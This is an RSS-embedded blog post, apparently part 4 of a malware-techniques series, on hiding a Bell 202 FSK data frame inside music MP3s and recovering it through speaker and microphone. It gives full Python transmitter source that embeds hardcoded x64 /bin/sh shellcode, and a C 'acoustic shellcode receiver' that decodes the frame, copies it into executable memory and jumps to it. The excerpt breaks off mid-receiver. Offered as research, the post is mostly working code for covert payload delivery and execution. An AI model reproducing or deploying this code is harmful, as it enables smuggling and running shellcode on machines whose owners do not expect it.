<guid isPermaLink="false">GmppTJWZShrsJpcfOEkC4lPJgEqH1y4y__oZ4g==</guid>
<pubDate>Wed, 26 Aug 2026 09:37:29 +0000</pubDate>
<description>﷽</description>
<content:encoded>&lt;p&gt;﷽&lt;/p&gt;&lt;p&gt;Hello, cybersecurity enthusiasts and white hackers!&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/218/2026-08-01_18-29.png&quot; alt=&quot;malware&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;In &lt;a href=&quot;https://cocomelonc.github.io/malware/2026/05/28/malware-tricks-58.html&quot;&gt;part 3&lt;/a&gt;, we made the live Bell 202 FSK receiver much more reliable. We fixed ALSA overruns and searched several sub-bit offsets instead of assuming that capture starts exactly at a symbol boundary.&lt;/p&gt;&lt;p&gt;In this part, I want to change the transport. Instead of generating a standalone modem-like signal, I will mix the same framed FSK stream into a normal music file, encode the result as MP3, play it, and recover the frame on the receiving side.&lt;/p&gt;&lt;p&gt;This is not an MP3 parser exploit. The media player only produces sound. A separate receiver must already be running and listening to the audio channel. Therefore, this experiment demonstrates an audio data channel, not automatic code execution by an MP3 player.&lt;/p&gt;&lt;h3&gt;protocol&lt;/h3&gt;&lt;p&gt;The protocol remains compatible with part 3:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;0xAA 0xAA 0xAA 0xAA 0x7E | uint16 length | payload | XOR checksum&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Bits are transmitted LSB-first using two frequencies:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;bit 0 -&amp;gt; 1200 Hz
bit 1 -&amp;gt; 2200 Hz
sample rate -&amp;gt; 48000 Hz
baud rate -&amp;gt; 300
nominal samples per bit -&amp;gt; 160&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For bit (b), the generated signal is&lt;/p&gt;

\[s_b[n] = \sin\left(2\pi\frac{f_b}{F_s}n + \phi_n\right),
\qquad
f_b =
\begin{cases}
1200, &amp;amp; b=0,\\
2200, &amp;amp; b=1.
\end{cases}\]

&lt;p&gt;The phase is continued between symbols to avoid unnecessary clicks. The FSK frame is mixed with the decoded music samples:&lt;/p&gt;

\[y[n] = x[n] + \alpha s[n],
\qquad
\alpha = 10^{G/20},\]

&lt;p&gt;where (x[n]) is the music, (s[n]) is the FSK signal, and (G) is the selected FSK level in dBFS. The practical default in this experiment is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-12 dBFS&lt;/code&gt;.&lt;/p&gt;&lt;h3&gt;building the MP3&lt;/h3&gt;&lt;p&gt;The Python transmitter performs the following operations:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Decode the source music to stereo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;48 kHz&lt;/code&gt; floating-point PCM using FFmpeg.&lt;/li&gt;&lt;li&gt;Build the framed Bell 202 signal.&lt;/li&gt;&lt;li&gt;Insert three copies of the frame with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;250 ms&lt;/code&gt; gaps.&lt;/li&gt;&lt;li&gt;Mix the signal into the music starting at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2 seconds&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;Normalize the result to prevent clipping.&lt;/li&gt;&lt;li&gt;Encode it using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libmp3lame&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;320 kbit/s&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;Decode the resulting MP3 again and verify that at least one complete frame can still be recovered.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The important part is the final verification. Creating an MP3 without an encoder error proves almost nothing: lossy compression may damage the two FSK tones. The transmitter accepts the result only when the complete post-compression frame is recovered byte-for-byte.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;forgainingain_candidates:mixed=mix_signal(carrier,signal,offset_samples,gain)encode_mp3(mixed,output_path,args.bitrate)verification=verify_mp3(output_path,frame,expected_starts)ifverificationisnotNone:breakifverificationisNone:raiseRuntimeError(&amp;quot;MP3 was created, but the FSK frame did not survive compression&amp;quot;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Create the demo file:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 transmit_live.py bongo.mp3 demo.mp3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Example output:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/218/2026-08-01_12-26.png&quot; alt=&quot;malware&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;h3&gt;why the part 3 receiver failed&lt;/h3&gt;&lt;p&gt;The part 3 receiver assumes that every symbol occupies exactly &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;160&lt;/code&gt; captured samples. That assumption is correct for a generated PCM array, but not always for a complete playback path:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;MP3 decoder -&amp;gt; audio server -&amp;gt; DAC -&amp;gt; speaker -&amp;gt; microphone -&amp;gt; ADC -&amp;gt; ALSA&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The playback and capture devices have independent clocks. Even when both devices report &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;48000 Hz&lt;/code&gt;, their physical clocks are not identical. A small error accumulates across the frame, moving the Goertzel window toward the boundary between two symbols.&lt;/p&gt;&lt;p&gt;There was also a simpler logic bug. The transmitter writes three copies, but the part 3 receiver stops searching after the first valid preamble. If that frame has a bad checksum, copies two and three are never examined at the same alignment.&lt;/p&gt;&lt;h3&gt;symbol-clock recovery&lt;/h3&gt;&lt;p&gt;Part 4 first performs a coarse search using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;32&lt;/code&gt; offsets with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5&lt;/code&gt;-sample step. After locating an approximate preamble, it uses the known &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;40&lt;/code&gt; preamble bits to refine two parameters:&lt;/p&gt;

\[(\hat{\tau}, \hat{T})
=
\arg\max_{\tau,T}
\sum_{k=0}^{39}
q_k\frac{P_{e_k}(k;\tau,T)-P_{1-e_k}(k;\tau,T)}
{P_{1200}(k;\tau,T)+P_{2200}(k;\tau,T)+\varepsilon},\]

&lt;p&gt;where (\tau) is the frame start, (T) is samples per bit, (e_k) is the expected preamble bit, and (P_f) is the Goertzel power at frequency (f). In the implementation:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;start correction: -12 ... +12 samples
symbol period:     158.0 ... 162.0 samples
step:              0.1 sample&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For each symbol, the receiver compares the two Goertzel powers:&lt;/p&gt;

\[\hat{b}_k =
\begin{cases}
1, &amp;amp; P_{2200}(k) &amp;gt; P_{1200}(k),\\
0, &amp;amp; \text{otherwise}.
\end{cases}\]

&lt;p&gt;Only the central &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;84%&lt;/code&gt; of a symbol is analyzed. Removing the edges reduces contamination from adjacent symbols, timing errors, and short room echoes.&lt;/p&gt;&lt;p&gt;The updated receiver also captures &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12 seconds&lt;/code&gt; and continues after a checksum failure, so every repeated frame can be tested.&lt;/p&gt;&lt;p&gt;Full source code for transmitter (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;transmitter_live.py&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&amp;quot;&amp;quot;&amp;quot;
transmit_live.py
embed a fixed payload into a music MP3 using Bell 202 FSK.
the output is decoded and verified after MP3 compression. 
this PoC for educational and research purposes only.
author: @cocomelonc
&amp;quot;&amp;quot;&amp;quot;importargparseimportshutilimportstructimportsubprocessimportsysfrompathlibimportPathimportnumpyasnp# protocol constants, match the receiver from part 3.
SAMPLE_RATE=48000BAUD_RATE=300FREQ_MARK=2200FREQ_SPACE=1200SPB=SAMPLE_RATE//BAUD_RATEPREAMBLE=bytes([0xAA,0xAA,0xAA,0xAA,0x7E])CHANNELS=2# demo payload (linux x64 /bin/sh)
DEMO_PAYLOAD=bytes([0x48,0x31,0xc0,0x50,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x53,0x48,0x89,0xe7,0x50,0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0xb0,0x3b,0x0f,0x05])defbuild_frame(payload:bytes)-&amp;gt;bytes:&amp;quot;&amp;quot;&amp;quot;Build: preamble + 2-byte big-endian length + payload + XOR checksum.&amp;quot;&amp;quot;&amp;quot;checksum=0forbyteinpayload:checksum^=bytereturnPREAMBLE+struct.pack(&amp;quot;&amp;gt;H&amp;quot;,len(payload))+payload+bytes([checksum])defbuild_fsk_frame(frame:bytes)-&amp;gt;np.ndarray:&amp;quot;&amp;quot;&amp;quot;Generate phase-continuous Bell 202 FSK, LSB first inside each byte.&amp;quot;&amp;quot;&amp;quot;signal=np.empty(len(frame)*8*SPB,dtype=np.float32)sample_axis=np.arange(SPB,dtype=np.float64)cursor=0phase=0.0forbyteinframe:forbit_indexinrange(8):bit=(byte&amp;gt;&amp;gt;bit_index)&amp;amp;1frequency=FREQ_MARKifbitelseFREQ_SPACEphase_step=2.0*np.pi*frequency/SAMPLE_RATEtone=np.sin(phase+phase_step*sample_axis)signal[cursor:cursor+SPB]=tonephase=(phase+phase_step*SPB)%(2.0*np.pi)cursor+=SPB# a short edge ramp suppresses clicks without consuming a full symbol.
ramp_samples=16ramp=np.linspace(0.0,1.0,ramp_samples,endpoint=False,dtype=np.float32)signal[:ramp_samples]*=rampsignal[-ramp_samples:]*=ramp[::-1]returnsignaldefbuild_repeated_signal(frame:bytes,repeats:int,gap_seconds:float)-&amp;gt;tuple[np.ndarray,list[int]]:one_frame=build_fsk_frame(frame)gap=np.zeros(round(gap_seconds*SAMPLE_RATE),dtype=np.float32)chunks=[]starts=[]cursor=0forrepeat_indexinrange(repeats):starts.append(cursor)chunks.append(one_frame)cursor+=len(one_frame)ifrepeat_index+1&amp;lt;repeats:chunks.append(gap)cursor+=len(gap)returnnp.concatenate(chunks),startsdefrun_ffmpeg(arguments:list[str],stdin:bytes|None=None)-&amp;gt;bytes:command=[&amp;quot;ffmpeg&amp;quot;,&amp;quot;-hide_banner&amp;quot;,&amp;quot;-loglevel&amp;quot;,&amp;quot;error&amp;quot;,*arguments]result=subprocess.run(command,input=stdin,stdout=subprocess.PIPE,stderr=subprocess.PIPE)ifresult.returncode!=0:message=result.stderr.decode(&amp;quot;utf-8&amp;quot;,errors=&amp;quot;replace&amp;quot;).strip()raiseRuntimeError(f&amp;quot;ffmpeg failed: {message}&amp;quot;)returnresult.stdoutdefdecode_audio(path:Path,channels:int)-&amp;gt;np.ndarray:&amp;quot;&amp;quot;&amp;quot;decode any ffmpeg-supported audio file to 48 kHz float PCM.&amp;quot;&amp;quot;&amp;quot;raw=run_ffmpeg([&amp;quot;-i&amp;quot;,str(path),&amp;quot;-vn&amp;quot;,&amp;quot;-f&amp;quot;,&amp;quot;f32le&amp;quot;,&amp;quot;-acodec&amp;quot;,&amp;quot;pcm_f32le&amp;quot;,&amp;quot;-ar&amp;quot;,str(SAMPLE_RATE),&amp;quot;-ac&amp;quot;,str(channels),&amp;quot;pipe:1&amp;quot;,])samples=np.frombuffer(raw,dtype=&amp;quot;&amp;lt;f4&amp;quot;).copy()ifsamples.size==0orsamples.size%channels!=0:raiseValueError(f&amp;quot;cannot decode valid PCM from {path}&amp;quot;)returnsamples.reshape((-1,channels))defencode_mp3(samples:np.ndarray,output_path:Path,bitrate:str)-&amp;gt;None:output_path.parent.mkdir(parents=True,exist_ok=True)pcm=np.asarray(samples,dtype=&amp;quot;&amp;lt;f4&amp;quot;).tobytes()run_ffmpeg([&amp;quot;-y&amp;quot;,&amp;quot;-f&amp;quot;,&amp;quot;f32le&amp;quot;,&amp;quot;-ar&amp;quot;,str(SAMPLE_RATE),&amp;quot;-ac&amp;quot;,str(samples.shape[1]),&amp;quot;-i&amp;quot;,&amp;quot;pipe:0&amp;quot;,&amp;quot;-vn&amp;quot;,&amp;quot;-codec:a&amp;quot;,&amp;quot;libmp3lame&amp;quot;,&amp;quot;-b:a&amp;quot;,bitrate,str(output_path),],stdin=pcm)deftone_power(samples:np.ndarray,frequency:float)-&amp;gt;float:&amp;quot;&amp;quot;&amp;quot;Goertzel power at one protocol frequency.&amp;quot;&amp;quot;&amp;quot;omega=2.0*np.pi*frequency/SAMPLE_RATEcoefficient=2.0*np.cos(omega)q1=0.0q2=0.0forsampleinsamples:q0=coefficient*q1-q2+float(sample)q2=q1q1=q0returnq1*q1+q2*q2-coefficient*q1*q2defdecode_frame_at(samples:np.ndarray,start:int,frame_size:int)-&amp;gt;bytes|None:total_samples=frame_size*8*SPBifstart&amp;lt;0orstart+total_samples&amp;gt;len(samples):returnNonedecoded=bytearray(frame_size)cursor=startforbyte_indexinrange(frame_size):value=0forbit_indexinrange(8):symbol=samples[cursor:cursor+SPB]mark=tone_power(symbol,FREQ_MARK)space=tone_power(symbol,FREQ_SPACE)ifmark&amp;gt;space:value|=1&amp;lt;&amp;lt;bit_indexcursor+=SPBdecoded[byte_index]=valuereturnbytes(decoded)defverify_mp3(output_path:Path,frame:bytes,expected_starts:list[int])-&amp;gt;tuple[int,int]|None:&amp;quot;&amp;quot;&amp;quot;decode the compressed MP3 and recover an exact checksummed frame.&amp;quot;&amp;quot;&amp;quot;mono=decode_audio(output_path,channels=1)[:,0]# ffmpeg usually removes encoder delay, but scanning +/- one symbol also
# covers small timing shifts introduced by another MP3 implementation.
forrepeat_index,expected_startinenumerate(expected_starts,start=1):fordeltainrange(-SPB,SPB+1):candidate_start=expected_start+deltaifdecode_frame_at(mono,candidate_start,len(frame))==frame:returnrepeat_index,candidate_startreturnNonedefmix_signal(carrier:np.ndarray,signal:np.ndarray,offset_samples:int,gain_dbfs:float)-&amp;gt;np.ndarray:end=offset_samples+len(signal)ifoffset_samples&amp;lt;0:raiseValueError(&amp;quot;offset must not be negative&amp;quot;)ifend&amp;gt;len(carrier):required=end/SAMPLE_RATEavailable=len(carrier)/SAMPLE_RATEraiseValueError(f&amp;quot;carrier is too short: need {required:.2f}s, have {available:.2f}s&amp;quot;)mixed=carrier.copy()fsk_gain=10.0**(gain_dbfs/20.0)mixed[offset_samples:end,:]+=signal[:,None]*fsk_gainpeak=float(np.max(np.abs(mixed)))ifpeak&amp;gt;0.98:mixed*=0.98/peakreturnmixeddefembed_and_verify(args:argparse.Namespace)-&amp;gt;None:ifshutil.which(&amp;quot;ffmpeg&amp;quot;)isNone:raiseRuntimeError(&amp;quot;ffmpeg is required but was not found in PATH&amp;quot;)input_path=Path(args.input)output_path=Path(args.output)ifnotinput_path.is_file():raiseFileNotFoundError(input_path)ifinput_path.resolve()==output_path.resolve():raiseValueError(&amp;quot;input and output paths must be different&amp;quot;)ifargs.repeats&amp;lt;1orargs.repeats&amp;gt;5:raiseValueError(&amp;quot;repeats must be between 1 and 5&amp;quot;)payload=DEMO_PAYLOADframe=build_frame(payload)signal,relative_starts=build_repeated_signal(frame,args.repeats,args.gap)offset_samples=round(args.offset*SAMPLE_RATE)expected_starts=[offset_samples+startforstartinrelative_starts]carrier=decode_audio(input_path,channels=CHANNELS)# If the selected music masks the initial level, strengthen the signal in
# 3 dB steps. A generated file is accepted only after byte-exact recovery.
gain_candidates=[args.fsk_dbfs]whilegain_candidates[-1]&amp;lt;-6.0:gain_candidates.append(min(-6.0,gain_candidates[-1]+3.0))verification=Noneused_gain=args.fsk_dbfsforgainingain_candidates:mixed=mix_signal(carrier,signal,offset_samples,gain)encode_mp3(mixed,output_path,args.bitrate)verification=verify_mp3(output_path,frame,expected_starts)used_gain=gainifverificationisnotNone:breakprint(f&amp;quot;[=^..^=] verification failed at {gain:.1f} dBFS; retrying stronger&amp;quot;,file=sys.stderr)ifverificationisNone:raiseRuntimeError(&amp;quot;MP3 was created, but the FSK frame did not survive compression&amp;quot;)repeat_index,recovered_sample=verificationchecksum=frame[-1]print(f&amp;quot;[=^..^=] input        : {input_path}&amp;quot;)print(f&amp;quot;[=^..^=] output       : {output_path}&amp;quot;)print(f&amp;quot;[=^..^=] payload      : test /bin/sh, {len(payload)} bytes&amp;quot;)print(f&amp;quot;[=^..^=] frame        : {len(frame)} bytes, checksum 0x{checksum:02x}&amp;quot;)print(f&amp;quot;[=^..^=] modulation   : {FREQ_SPACE}/{FREQ_MARK} Hz BFSK, {BAUD_RATE} baud&amp;quot;)print(f&amp;quot;[=^..^=] placement    : {args.offset:.2f}s, {args.repeats} copies, {used_gain:.1f} dBFS&amp;quot;)print(f&amp;quot;[=^..^=] verification : PASS, copy {repeat_index}, sample {recovered_sample}&amp;quot;)defparse_args()-&amp;gt;argparse.Namespace:parser=argparse.ArgumentParser(description=&amp;quot;embed a verified demo payload into a music MP3.&amp;quot;)parser.add_argument(&amp;quot;input&amp;quot;,help=&amp;quot;source music file (MP3 or any ffmpeg-supported audio)&amp;quot;)parser.add_argument(&amp;quot;output&amp;quot;,help=&amp;quot;output .mp3 path&amp;quot;)parser.add_argument(&amp;quot;--offset&amp;quot;,type=float,default=2.0,help=&amp;quot;first frame position in seconds&amp;quot;)parser.add_argument(&amp;quot;--repeats&amp;quot;,type=int,default=3,help=&amp;quot;number of frame copies (1-5)&amp;quot;)parser.add_argument(&amp;quot;--gap&amp;quot;,type=float,default=0.25,help=&amp;quot;silence between frame copies&amp;quot;)parser.add_argument(&amp;quot;--fsk-dbfs&amp;quot;,type=float,default=-12.0,help=&amp;quot;initial FSK level in dBFS&amp;quot;)parser.add_argument(&amp;quot;--bitrate&amp;quot;,default=&amp;quot;320k&amp;quot;,help=&amp;quot;MP3 bitrate passed to ffmpeg&amp;quot;)returnparser.parse_args()if__name__==&amp;quot;__main__&amp;quot;:try:embed_and_verify(parse_args())except(FileNotFoundError,RuntimeError,ValueError)aserror:print(f&amp;quot;error: {error}&amp;quot;,file=sys.stderr)raiseSystemExit(1)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Receiver (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;receiver.c&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;/*
 * receiver.c
 * updated for part 4 RnD
 * real-time FSK acoustic shellcode receiver (Linux / ALSA)
 * author : @cocomelonc
 */#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;stdlib.h&amp;gt;
#include&amp;lt;string.h&amp;gt;
#include&amp;lt;stdint.h&amp;gt;
#include&amp;lt;math.h&amp;gt;
#include&amp;lt;sys/mman.h&amp;gt;
#include&amp;lt;alsa/asoundlib.h&amp;gt;// Bell 202 and DSP Constants#define PI          3.14159265358979323846
#define SAMPLE_RATE 48000
#define BAUD_RATE   300
#define FREQ_MARK   2200          // bit 1 - high tone
#define FREQ_SPACE  1200          // bit 0 - low tone
#define SPB         (SAMPLE_RATE / BAUD_RATE)   // 160 samples per bit
// Acoustic playback can start late and its sample clock is not exactly 48 kHz.#define CAPTURE_SECS  12               // enough time for all repeated frames
#define N_OFFSETS     32               // coarse alignment over one bit period
#define OFFSET_STEP   (SPB / N_OFFSETS)
#define MAX_PAYLOAD   512
#define TIMING_MIN    158.0            // +/-1.25% sample-clock search
#define TIMING_MAX    162.0
#define TIMING_STEP   0.1
#define START_RADIUS  12
staticintdecode_only=0;// frame preamble for synchronizationstaticconstuint8_tPREAMBLE[]={0xAA,0xAA,0xAA,0xAA,0x7E};#define PREAMBLE_LEN  5
#define PREAMBLE_BITS (PREAMBLE_LEN * 8)        // 40 bits
// Goertzel algorithm: detects the magnitude of a specific frequency in a block of samplesstaticdoublegoertzel(constint16_t*s,intn,doublefreq){doubleomega=2.0*PI*freq/(double)SAMPLE_RATE;doublecoeff=2.0*cos(omega);doubleq1=0.0,q2=0.0,q0;for(inti=0;i&amp;lt;n;i++){q0=coeff*q1-q2+(double)s[i]/32768.0;q2=q1;q1=q0;}returnq1*q1+q2*q2-coeff*q1*q2;}// ALSA: open and configure capture devicestaticsnd_pcm_t*open_capture(constchar*device){snd_pcm_t*h;intrc=snd_pcm_open(&amp;amp;h,device,SND_PCM_STREAM_CAPTURE,0);if(rc&amp;lt;0){fprintf(stderr,&amp;quot;[=^..^=] cannot open &amp;#39;%s&amp;#39;: %s\n&amp;quot;,device,snd_strerror(rc));returnNULL;}rc=snd_pcm_set_params(h,SND_PCM_FORMAT_S16_LE,SND_PCM_ACCESS_RW_INTERLEAVED,1,SAMPLE_RATE,1,100000);if(rc&amp;lt;0){fprintf(stderr,&amp;quot;[=^..^=] set_params failed: %s\n&amp;quot;,snd_strerror(rc));snd_pcm_close(h);returnNULL;}returnh;}// capture CAPTURE_SECS seconds into a heap bufferstaticint16_t*capture_audio(snd_pcm_t*h,int*out_samples){inttotal=CAPTURE_SECS*SAMPLE_RATE;int16_t*buf=malloc((size_t)total*sizeof(int16_t));if(!buf){fprintf(stderr,&amp;quot;[=^..^=] OOM\n&amp;quot;);returnNULL;}intgot=0,prev_sec=CAPTURE_SECS+1;while(got&amp;lt;total){intwant=total-got;if(want&amp;gt;4800)want=4800;/* 0.1 s chunks */intrc=snd_pcm_readi(h,buf+got,(snd_pcm_uframes_t)want);if(rc==-EPIPE){snd_pcm_prepare(h);continue;}if(rc&amp;lt;0){fprintf(stderr,&amp;quot;\n[=^..^=] read error: %s\n&amp;quot;,snd_strerror(rc));free(buf);returnNULL;}got+=rc;intsecs_left=CAPTURE_SECS-got/SAMPLE_RATE;if(secs_left!=prev_sec){prev_sec=secs_left;printf(&amp;quot;\r[=^..^=] listening... %2d s remaining   &amp;quot;,secs_left);fflush(stdout);}}printf(&amp;quot;\r[=^..^=] capture complete - %d samples (%d s)          \n\n&amp;quot;,got,CAPTURE_SECS);*out_samples=got;returnbuf;}// bit extraction: 8 bits LSB-first from a flat bit arraystaticuint8_tget_byte(constuint8_t*bits,intbit_offset){uint8_tres=0;for(inti=0;i&amp;lt;8;i++)if(bits[bit_offset+i])res|=(uint8_t)(1u&amp;lt;&amp;lt;i);returnres;}staticintexpected_preamble_bit(intbit_index){intbyte_index=bit_index/8;intin_byte=bit_index%8;return(PREAMBLE[byte_index]&amp;gt;&amp;gt;in_byte)&amp;amp;1;}// Decode from the middle 84% of a symbol. Ignoring symbol edges makes the// decision less sensitive to room echoes and small clock errors.staticinttimed_bit(constint16_t*audio,intn_samples,doubleframe_start,doublesamples_per_bit,intbit_index,double*confidence){doublesymbol_start=frame_start+bit_index*samples_per_bit;intbegin=(int)llround(symbol_start+0.08*samples_per_bit);intend=(int)llround(symbol_start+0.92*samples_per_bit);if(begin&amp;lt;0||end&amp;gt;n_samples||end&amp;lt;=begin)return-1;doublemark=goertzel(audio+begin,end-begin,FREQ_MARK);doublespace=goertzel(audio+begin,end-begin,FREQ_SPACE);doubletotal=mark+space+1.0e-20;if(confidence)*confidence=fabs(mark-space)/total;returnmark&amp;gt;space?1:0;}staticinttimed_byte(constint16_t*audio,intn_samples,doubleframe_start,doublesamples_per_bit,intbit_offset,uint8_t*value){uint8_tresult=0;for(inti=0;i&amp;lt;8;i++){intbit=timed_bit(audio,n_samples,frame_start,samples_per_bit,bit_offset+i,NULL);if(bit&amp;lt;0)return0;if(bit)result|=(uint8_t)(1u&amp;lt;&amp;lt;i);}*value=result;return1;}// The fixed-SPB pass locates a rough preamble. This pass estimates the actual// symbol start and period from the 40 known preamble bits.staticintrefine_timing(constint16_t*audio,intn_samples,intrough_start,double*best_start,double*best_spb,int*best_matches,double*best_score){*best_matches=-1;*best_score=-1.0e30;for(doublespb=TIMING_MIN;spb&amp;lt;=TIMING_MAX+0.001;spb+=TIMING_STEP){for(intdelta=-START_RADIUS;delta&amp;lt;=START_RADIUS;delta++){doublestart=rough_start+delta;intmatches=0;doublescore=0.0;intvalid=1;for(intbit_index=0;bit_index&amp;lt;PREAMBLE_BITS;bit_index++){doubleconfidence=0.0;intbit=timed_bit(audio,n_samples,start,spb,bit_index,&amp;amp;confidence);if(bit&amp;lt;0){valid=0;break;}intexpected=expected_preamble_bit(bit_index);if(bit==expected){matches++;score+=confidence;}else{score-=confidence;}}if(valid&amp;amp;&amp;amp;(matches&amp;gt;*best_matches||(matches==*best_matches&amp;amp;&amp;amp;score&amp;gt;*best_score))){*best_matches=matches;*best_score=score;*best_start=start;*best_spb=spb;}}}return*best_matches&amp;gt;=PREAMBLE_BITS-1;}// demodulate at a given sample offset -&amp;gt; allocated bit arraystaticuint8_t*demodulate(constint16_t*audio,intn_samples,intoffset,int*out_bits){intusable=n_samples-offset;intn_bits=usable/SPB;if(n_bits&amp;lt;=0){*out_bits=0;returnNULL;}uint8_t*bits=malloc((size_t)n_bits);if(!bits){*out_bits=0;returnNULL;}constint16_t*p=audio+offset;for(inti=0;i&amp;lt;n_bits;i++){doublepm=goertzel(p+i*SPB,SPB,FREQ_MARK);doubleps=goertzel(p+i*SPB,SPB,FREQ_SPACE);bits[i]=(pm&amp;gt;ps)?1:0;}*out_bits=n_bits;returnbits;}staticintexecute_payload(uint8_t*payload,uint16_tpay_len){printf(&amp;quot;[=^..^=] payload length : %u bytes\n\n&amp;quot;,pay_len);printf(&amp;quot;[=^..^=] shellcode recovered (%u bytes):\n&amp;quot;,pay_len);for(inti=0;i&amp;lt;(int)pay_len;i++){printf(&amp;quot;%02x &amp;quot;,payload[i]);if((i+1)%16==0)printf(&amp;quot;\n&amp;quot;);}if(pay_len%16!=0)printf(&amp;quot;\n&amp;quot;);printf(&amp;quot;\n&amp;quot;);if(decode_only){printf(&amp;quot;[=^..^=] decode-only: payload execution skipped\n&amp;quot;);free(payload);return1;}void*mem=mmap(NULL,pay_len,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE,-1,0);if(mem==MAP_FAILED){perror(&amp;quot;[=^..^=] mmap&amp;quot;);free(payload);return0;}memcpy(mem,payload,pay_len);free(payload);printf(&amp;quot;[=^..^=] jumping to shellcode...  =^..^=\n&amp;quot;);((void(*)())mem)();munmap(mem,pay_len);return1;}staticinttry_candidate(constint16_t*audio,intn_samples,intoffset,intpre_bit){intrough_start=offset+pre_bit*SPB;doubleframe_start=0.0,samples_per_bit=SPB,timing_score=0.0;inttiming_matches=0;if(!refine_timing(audio,n_samples,rough_start,&amp;amp;frame_start,&amp;amp;samples_per_bit,&amp;amp;timing_matches,&amp;amp;timing_score)){return0;}intcursor=PREAMBLE_BITS;uint8_tl1=0,l2=0;if(!timed_byte(audio,n_samples,frame_start,samples_per_bit,cursor,&amp;amp;l1))return0;cursor+=8;if(!timed_byte(audio,n_samples,frame_start,samples_per_bit,cursor,&amp;amp;l2))return0;cursor+=8;uint16_tpay_len=((uint16_t)l1&amp;lt;&amp;lt;8)|l2;if(pay_len==0||pay_len&amp;gt;MAX_PAYLOAD)return0;doubleframe_end=frame_start+(PREAMBLE_BITS+16+((int)pay_len+1)*8)*samples_per_bit;if(frame_start&amp;lt;0.0||frame_end&amp;gt;n_samples)return0;uint8_t*payload=malloc(pay_len);if(!payload)return0;uint8_tchecksum_calc=0;for(inti=0;i&amp;lt;(int)pay_len;i++){if(!timed_byte(audio,n_samples,frame_start,samples_per_bit,cursor,&amp;amp;payload[i])){free(payload);return0;}checksum_calc^=payload[i];cursor+=8;}uint8_tchecksum_rx=0;if(!timed_byte(audio,n_samples,frame_start,samples_per_bit,cursor,&amp;amp;checksum_rx)){free(payload);return0;}printf(&amp;quot;[=^..^=] offset %3d: preamble bit %d, timing %.2f samples/bit, &amp;quot;&amp;quot;%d/%d sync bits\n&amp;quot;,offset,pre_bit,samples_per_bit,timing_matches,PREAMBLE_BITS);if(checksum_calc!=checksum_rx){printf(&amp;quot;[=^..^=] offset %3d: checksum FAIL calc=0x%02x rx=0x%02x; &amp;quot;&amp;quot;trying next frame\n&amp;quot;,offset,checksum_calc,checksum_rx);free(payload);return0;}printf(&amp;quot;[=^..^=] offset %3d: checksum OK (0x%02x)\n&amp;quot;,offset,checksum_rx);returnexecute_payload(payload,pay_len);}// Try every preamble at one coarse alignment. The old receiver returned after// the first corrupt frame and never reached transmitter copies 2 and 3.staticinttry_offset(constint16_t*audio,intn_samples,intoffset){intn_bits=0;uint8_t*bits=demodulate(audio,n_samples,offset,&amp;amp;n_bits);if(!bits)return0;intfound=0;intlimit=n_bits-PREAMBLE_BITS-24;for(intbit_index=0;bit_index&amp;lt;limit;bit_index++){intmatch=1;for(intbyte_index=0;byte_index&amp;lt;PREAMBLE_LEN&amp;amp;&amp;amp;match;byte_index++){if(get_byte(bits,bit_index+byte_index*8)!=PREAMBLE[byte_index])match=0;}if(!match)continue;found++;if(try_candidate(audio,n_samples,offset,bit_index)){free(bits);return1;}bit_index+=PREAMBLE_BITS-1;}if(!found){printf(&amp;quot;[=^..^=] offset %3d: preamble not 